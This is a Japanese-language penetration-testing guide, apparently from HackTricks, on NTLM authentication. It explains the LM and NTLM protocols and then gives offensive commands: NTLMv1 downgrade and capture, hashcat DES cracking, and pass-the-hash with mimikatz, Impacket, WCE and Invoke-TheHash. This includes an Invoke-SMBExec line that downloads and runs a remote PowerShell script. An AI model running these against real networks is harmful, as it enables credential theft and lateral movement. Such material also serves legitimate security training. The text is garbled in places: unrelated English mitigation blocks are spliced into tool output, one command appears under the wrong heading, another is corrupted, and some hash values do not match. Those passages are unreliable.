NTLM

NTLM

ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

基本情報

Windows XPおよびServer 2003が稼働している環境では、LM(Lan Manager)ハッシュが使用されますが、これらは簡単に破られる可能性があることが広く認識されています。特定のLMハッシュ、AAD3B435B51404EEAAD3B435B51404EEは、LMが使用されていないシナリオを示し、空の文字列のハッシュを表します。

デフォルトでは、Kerberos認証プロトコルが主に使用されます。NTLM(NT LAN Manager)は、特定の状況下で使用されます:Active Directoryの不在、ドメインの存在しない、Kerberosの構成が不適切で機能しない、または有効なホスト名ではなくIPアドレスを使用して接続を試みる場合。

ネットワークパケットで**"NTLMSSP"**ヘッダーが存在すると、NTLM認証プロセスがシグナルされます。

認証プロトコル(LM、NTLMv1、およびNTLMv2)のサポートは、%windir%\Windows\System32\msv1\_0.dllにある特定のDLLによって可能にされます。

要点

  • LMハッシュは脆弱であり、空のLMハッシュ(AAD3B435B51404EEAAD3B435B51404EE)はその非使用を示します。

  • Kerberosはデフォルトの認証方法であり、NTLMは特定の条件下でのみ使用されます。

  • NTLM認証パケットは"NTLMSSP"ヘッダーによって識別されます。

  • システムファイルmsv1\_0.dllによって、LM、NTLMv1、およびNTLMv2プロトコルがサポートされています。

LM、NTLMv1およびNTLMv2

使用されるプロトコルを確認および設定できます:

GUI

_secpol.msc_を実行 -> ローカルポリシー -> セキュリティオプション -> ネットワークセキュリティ:LAN Manager認証レベル。 レベルは6つあります(0から5まで)。

レジストリ

これはレベル5に設定されます:

reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t REG_DWORD /d 5 /f

可能な値:

0 - Send LM & NTLM responses
1 - Send LM & NTLM responses, use NTLMv2 session security if negotiated
2 - Send NTLM response only
3 - Send NTLMv2 response only
4 - Send NTLMv2 response only, refuse LM
5 - Send NTLMv2 response only, refuse LM & NTLM

基本的なNTLMドメイン認証スキーム

  1. ユーザー資格情報を入力します

  2. クライアントマシンが認証リクエストを送信し、ドメイン名ユーザー名を送信します

  3. サーバーチャレンジを送信します

  4. クライアントはパスワードのハッシュをキーとしてチャレンジを暗号化し、応答として送信します

  5. サーバードメインコントローラードメイン名、ユーザー名、チャレンジ、応答を送信します。Active Directoryが構成されていない場合や、ドメイン名がサーバー名の場合、資格情報はローカルで確認されます。

  6. ドメインコントローラーがすべてが正しいかどうかを確認し、情報をサーバーに送信します

サーバードメインコントローラーは、NTDS.DITデータベース内にサーバーのパスワードがあるため、Netlogonサーバーを介してセキュアチャネルを作成できます。

ローカルNTLM認証スキーム

認証は前述のように行われますが、サーバーSAMファイル内で認証しようとするユーザーのハッシュを知っています。したがって、ドメインコントローラーに問い合わせる代わりに、サーバー自体がユーザーの認証を確認します。

NTLMv1チャレンジ

チャレンジの長さは8バイトで、応答は24バイトです。

NTハッシュ(16バイト)は7バイトずつ3つの部分に分割されます(7B + 7B +(2B + 0x00*5)):最後の部分はゼロで埋められます。その後、各部分でチャレンジを別々に暗号化し、結果の暗号化されたバイトを結合します。合計:8B + 8B + 8B = 24バイト。

問題点

  • ランダム性の欠如

  • 3つの部分は別々に攻撃され、NTハッシュが見つかる可能性があります

  • DESは破られやすい

  • 3番目のキーは常に5つのゼロで構成されています。

  • 同じチャレンジが与えられると、応答同じになります。したがって、被害者に対して文字列 "1122334455667788" をチャレンジとして与え、使用された事前計算済みレインボーテーブルを攻撃できます。

NTLMv1攻撃

最近では、無制約委任が構成された環境を見つけることが少なくなっていますが、これは悪用できないことを意味しないことに注意してください。

ADで既に持っている一部の資格情報/セッションを悪用して、プリントスプーラーサービスを構成して認証を要求することができます。

その後、metasploit auxiliary/server/capture/smbまたはresponderを使用して、認証チャレンジを1122334455667788に設定し、認証試行をキャプチャし、それがNTLMv1を使用して行われた場合、破ることができます。 responderを使用している場合は、認証をダウングレードしようとして、**フラグ --lm**を使用してみることができます。 このテクニックでは、認証はNTLMv1を使用して実行する必要があることに注意してください(NTLMv2は有効ではありません)。

プリンターは認証中にコンピューターアカウントを使用し、コンピューターアカウントは長くランダムなパスワードを使用するため、一般的な辞書を使用して破ることはできない可能性があります。しかし、NTLMv1認証はDESを使用しています(詳細はこちら)、そのため、DESを破るために特に専用のサービスを使用することで、それを破ることができます(たとえば、https://crack.sh/を使用できます)。

hashcatを使用したNTLMv1攻撃

NTLMv1はNTLMv1 Multi Tool https://github.com/evilmog/ntlmv1-multi を使用して、hashcatで破ることができます。

コマンド

python3 ntlmv1.py --ntlmv1 hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788

NTLM Relay Attack

Overview

NTLM relay attacks are a common technique used by attackers to exploit the NTLM authentication protocol. In a typical NTLM relay attack, the attacker intercepts an NTLM authentication request from a victim host and relays it to a target server to authenticate as the victim. This allows the attacker to gain unauthorized access to the target server using the victim's credentials.

Mitigation

To mitigate NTLM relay attacks, it is recommended to implement the following security measures:

  1. Enforce SMB Signing: Enabling SMB signing can help prevent NTLM relay attacks by ensuring the integrity of SMB packets exchanged between clients and servers.

  2. Enable Extended Protection for Authentication: This feature helps protect against NTLM relay attacks by requiring extended protection for authentication.

  3. Disable NTLMv1: NTLMv1 is vulnerable to relay attacks, so it is recommended to disable it and use NTLMv2 or Kerberos instead.

  4. Implement LDAP Signing: Enabling LDAP signing can also help prevent NTLM relay attacks by securing LDAP traffic between clients and servers.

By implementing these security measures, organizations can significantly reduce the risk of falling victim to NTLM relay attacks.

['hashcat', '', 'DUSTIN-5AA37877', '76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D', '727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595', '1122334455667788']

Hostname: DUSTIN-5AA37877
Username: hashcat
Challenge: 1122334455667788
LM Response: 76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D
NT Response: 727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595
CT1: 727B4E35F947129E
CT2: A52B9CDEDAE86934
CT3: BB23EF89F50FC595

To Calculate final 4 characters of NTLM hash use:
./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788

To crack with hashcat create a file with the following contents:
727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788

To crack with hashcat:
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1

To Crack with crack.sh use the following token
NTHASH:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595

NTLM Hash Stealing

Overview

NTLM hash stealing is a technique used to capture and crack the NTLM hashes of users in a Windows environment. Attackers can use various methods to steal these hashes, such as passing-the-hash attacks, man-in-the-middle attacks, or exploiting vulnerabilities to extract the hashes from the system.

Protection

To protect against NTLM hash stealing, it is recommended to implement the following security measures:

  1. Disable NTLM: Disable the use of NTLM authentication in favor of more secure protocols like Kerberos.

  2. Enforce SMB Signing: Enable SMB signing to prevent man-in-the-middle attacks that could be used to steal NTLM hashes.

  3. Use Complex Passwords: Encourage users to use complex and unique passwords to make it harder for attackers to crack the hashes.

  4. Regular Security Audits: Conduct regular security audits to identify and patch vulnerabilities that could be exploited to steal NTLM hashes.

By following these protection measures, organizations can significantly reduce the risk of NTLM hash stealing attacks.

727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788

実行するhashcat(分散はhashtopolisなどのツールを介して最適です)これにより、それ以外の場合は数日かかります。

./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1

この場合、パスワードは「password」であることがわかっているため、デモ目的で不正行為を行います。

python ntlm-to-des.py --ntlm b4b9b02e6f09a9bd760f388b67351e2b
DESKEY1: b55d6d04e67926
DESKEY2: bcba83e6895b9d

echo b55d6d04e67926>>des.cand
echo bcba83e6895b9d>>des.cand

次に、hashcatユーティリティを使用して、クラックされたDESキーをNTLMハッシュの一部に変換する必要があります:

./hashcat-utils/src/deskey_to_ntlm.pl b55d6d05e7792753
b4b9b02e6f09a9 # this is part 1

./hashcat-utils/src/deskey_to_ntlm.pl bcba83e6895b9d
bd760f388b6700 # this is part 2

最後の部分です:

./hashcat-utils/src/ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788

586c # this is the last part

NTLM Hardening

Overview

NTLM (NT LAN Manager) is a suite of Microsoft security protocols that provides authentication, integrity, and confidentiality to users. However, NTLM has known vulnerabilities that can be exploited by attackers to compromise systems. This guide provides recommendations to harden NTLM configurations and mitigate potential security risks.

Recommendations

  1. Disable LM and NTLMv1: These are outdated and insecure versions of the NTLM protocol. Disable them to prevent attackers from exploiting known vulnerabilities associated with these versions.

  2. Enable NTLMv2: NTLMv2 is more secure than its predecessors. Ensure that NTLMv2 is enabled to benefit from its improved security features.

  3. Use NTLM Session Security: Enable NTLM session security to protect the integrity and confidentiality of NTLM authentication sessions.

  4. Restrict NTLM: Limit the use of NTLM to only the necessary systems and services. Avoid using NTLM where it is not required to reduce the attack surface.

  5. Implement LDAP Signing: Require LDAP signing to protect against man-in-the-middle attacks that can compromise NTLM authentication.

  6. Monitor NTLM Traffic: Regularly monitor NTLM traffic for any suspicious activity or anomalies that could indicate potential security breaches.

By following these recommendations, you can enhance the security of your NTLM configurations and better protect your systems from potential attacks.

NTHASH=b4b9b02e6f09a9bd760f388b6700586c

NTLMv2 チャレンジ

チャレンジの長さは 8 バイトであり、2 つのレスポンスが送信されます: 1 つは24 バイトで、もう 1 つの長さは可変です。

最初のレスポンスは、クライアントとドメインから構成される文字列を使用してHMAC_MD5を使って暗号化し、NT ハッシュMD4 ハッシュキーとして使用します。その後、その結果を使ってHMAC_MD5を使ってチャレンジを暗号化します。ここに8 バイトのクライアントチャレンジが追加されます。合計: 24 B。

2 番目のレスポンスは、複数の値(新しいクライアントチャレンジ、リプレイ攻撃を避けるためのタイムスタンプなど)を使用して作成されます。

成功した認証プロセスをキャプチャした pcap ファイルがある場合、このガイドに従ってドメイン、ユーザー名、チャレンジ、レスポンスを取得し、パスワードを解読してみることができます: https://research.801labs.org/cracking-an-ntlmv2-hash/

パスザハッシュ

被害者のハッシュを取得したら、それを偽装することができます。 そのハッシュを使用して NTLM 認証を実行するツールを使用する必要があります。または、新しいセッションログオンを作成し、そのハッシュLSASSインジェクトすることができます。そのため、NTLM 認証が実行されるときにそのハッシュが使用されます。 最後のオプションが mimikatz が行うことです。

パスザハッシュ攻撃はコンピューターアカウントを使用しても実行できることを覚えておいてください。

Mimikatz

管理者として実行する必要があります

Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm:NTLMhash /run:powershell.exe"'

これにより、mimikatzを起動したユーザーに属するプロセスが開始されますが、LSASS内部では、保存された資格情報はmimikatzパラメーター内にあります。その後、そのユーザーであるかのようにネットワークリソースにアクセスできます(runas /netonlyトリックに類似していますが、平文パスワードを知る必要はありません)。

LinuxからのPass-the-Hash

LinuxからPass-the-Hashを使用してWindowsマシンでコード実行を取得できます。 こちらをクリックして方法を学んでください。

Impacket Windowsコンパイル済みツール

Windows用のimpacketバイナリをこちらからダウンロードできます

  • psexec_windows.exe C:\AD\MyTools\psexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.my.domain.local

  • wmiexec.exe wmiexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local

  • atexec.exe(この場合、コマンドを指定する必要があります。cmd.exeとpowershell.exeは対話型シェルを取得するために有効ではありません)C:\AD\MyTools\atexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local 'whoami'

  • 他にもいくつかのImpacketバイナリがあります...

Invoke-TheHash

こちらからpowershellスクリプトを入手できます:https://github.com/Kevin-Robertson/Invoke-TheHash

Invoke-SMBExec

Invoke-SMBExec -Target dcorp-mgmt.my.domain.local -Domain my.domain.local -Username username -Hash b38ff50264b74508085d82c69794a4d8 -Command 'powershell -ep bypass -Command "iex(iwr http://172.16.100.114:8080/pc.ps1 -UseBasicParsing)"' -verbose

Invoke-WMIExec

Invoke-WMIExec

Invoke-SMBExec -Target dcorp-mgmt.my.domain.local -Domain my.domain.local -Username username -Hash b38ff50264b74508085d82c69794a4d8 -Command 'powershell -ep bypass -Command "iex(iwr http://172.16.100.114:8080/pc.ps1 -UseBasicParsing)"' -verbose

Invoke-SMBClient

Invoke-SMBClient

Invoke-SMBClient -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff50264b74508085d82c69794a4d8 [-Action Recurse] -Source \\dcorp-mgmt.my.domain.local\C$\ -verbose

Invoke-SMBEnum

Invoke-SMBEnum

Invoke-SMBEnum -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff50264b74508085d82c69794a4d8 -Target dcorp-mgmt.dollarcorp.moneycorp.local -verbose

Invoke-TheHash

この機能は他のすべての機能を組み合わせたものです。複数のホストを渡すことができ、除外することもでき、使用したいオプションを選択できます(SMBExec、WMIExec、SMBClient、SMBEnum)。SMBExecWMIExecのいずれかを選択した場合でも、Command パラメータを指定しない場合は、単に十分な権限があるかどうかをチェックします。

Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username Administ -ty    h F6F38B793DB6A94BA04A52F1D3EE92F0

Windows Credentials Editor (WCE)

管理者として実行する必要があります

このツールは、mimikatzと同じことを行います(LSASSメモリの変更)。

wce.exe -s <username>:<domain>:<hash_lm>:<hash_nt>

ユーザー名とパスワードを使用しての手動Windowsリモート実行

pageLateral Movement

Windowsホストからの資格情報の抽出

**詳細については、このページ**を参照してください。

NTLMリレーとレスポンダー

これらの攻撃を実行する方法についての詳細なガイドはこちらを参照してください:

pageSpoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

ネットワークキャプチャからのNTLMチャレンジの解析

**https://github.com/mlgualtieri/NTLMRawUnHide**を使用できます。

Last updated